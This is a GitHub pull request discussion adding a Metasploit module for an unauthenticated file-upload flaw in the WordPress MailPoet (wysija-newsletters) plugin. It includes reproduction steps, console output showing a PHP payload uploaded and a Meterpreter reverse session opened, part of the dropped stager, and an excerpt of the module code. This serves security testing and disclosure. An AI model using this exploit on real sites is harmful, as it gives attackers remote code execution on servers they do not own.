Wordpress - Added wysija file upload exploit

This exploits a PHP file upload vuln in the wysija-newsletters wordpress plugin. According to https://wordpress.org/plugins/wysija-newsletters/ there are currently 1,744,325 downloads of the plugin.

I managed to establish a connection to the uploaded script, but it looks like the PHP meterpreter is somehow broken (It hangs right after `Meterpreter session 1 opened`).
I tried to debug it, add some debug output and so on, but i didn't manage to find the error.

The script on the server is executed successfully, so I think the module should be good to go because it looks like a general php-meterpreter error to me.

### Verification Steps
 - [ ] Setup a Wordpress test machine: http://codex.wordpress.org/Installing_WordPress
 - [ ] Download vulnerable plugin: http://downloads.wordpress.org/plugin/wysija-newsletters.2.6.6.zip
 - [ ] Open Wordpress Admin Interface --> Plugins --> Add new --> Upload --> Upload the ZIP file
 - [ ] Activate the plugin
 - [ ] Verify the plugin has it's option dialog in the backend
 - [ ] Run the exploit
 - [ ] Watch `WWWROOT/wp-content/uploads/wysija/themes/` for the dropped shell

### Sample Output
```
firefart@mint ~/coding/metasploit-framework $ ./msfcli exploit/unix/webapp/wp_wysija_newsletters_upload RHOST=192.168.126.134 TARGETURI=/wordpress/ E
[*] Initializing modules...
RHOST => 192.168.126.134
TARGETURI => /wordpress/
[*] Started reverse handler on 192.168.126.160:4444 
[*] 192.168.126.134:80 - Uploading payload to /wordpress/wp-content/uploads/wysija/themes/rDHODUYZov/oVwdOQqPqI.php
[*] 192.168.126.134:80 - Executing payload /wordpress/wp-content/uploads/wysija/themes/rDHODUYZov/oVwdOQqPqI.php
[*] Sending stage (39904 bytes) to 192.168.126.134
[*] Meterpreter session 1 opened (192.168.126.160:4444 -> 192.168.126.134:37456) at 2014-07-02 10:29:05 +0200
^C[-] Exploit failed: Interrupt 

meterpreter > 
```

On the server side:
```
root@wordpress:/var/www/wordpress/wp-content/uploads/wysija/themes# tree
.
└── rDHODUYZov
    ├── oVwdOQqPqI.php
    └── style.css

1 directory, 2 files
root@wordpress:/var/www/wordpress/wp-content/uploads/wysija/themes# tail rDHODUYZov/oVwdOQqPqI.php
        case 'stream': $b .= fread($s, $len-strlen($b)); break;
        case 'socket': $b .= socket_read($s, $len-strlen($b)); break;
        }
}

# Set up the socket for the main stage to use.
$GLOBALS['msgsock'] = $s;
$GLOBALS['msgsock_type'] = $s_type;
eval($b);
die();

```

cc @brandonprry
I can test tonight, no worries at all.


On Wed, Jul 2, 2014 at 9:13 AM, Christian Mehlmauer <
notifications@github.com> wrote:

> In modules/exploits/unix/webapp/wp_wysija_newsletters_upload.rb:
>
> > +
> > +class Metasploit3 < Msf::Exploit::Remote
> > +  Rank = ExcellentRanking
> > +
> > +  include Msf::HTTP::Wordpress
> > +
> > +  def initialize(info = {})
> > +    super(update_info(info,
> > +      'Name'           => 'Wordpress MailPoet (wysija-newsletters) Unauthenticated file Upload',
> > +      'Description'    => %q{
> > +          The Wordpress plugin "MailPoet Newsletters" (wysija-newsletters) before 2.6.7
> > +          is vulnerable to an unauthenticated file upload. The exploits uses the upload Theme
> > +          functionality to upload a zip file containing the payload. The plugin used the
> > +          admin_init hook without knowning the hook is also executed for unauthenticated
> > +          users when calling the right URL. This module needs manual cleanup of the uploaded
> > +          theme directory.
>
> I don't think we can use FileDropper here, because the file is saved to
> the webroot and we don't know the extact path - only the subpath in the
> theme directory. Or does it work relative to the webroot? Can't test this
> because of the meterpreter issue :(
>
> —
> Reply to this email directly or view it on GitHub
> <https://github.com/rapid7/metasploit-framework/pull/3487/files#r14458685>
> .
>



-- 
http://volatile-minds.blogspot.com -- blog
http://www.volatileminds.net -- website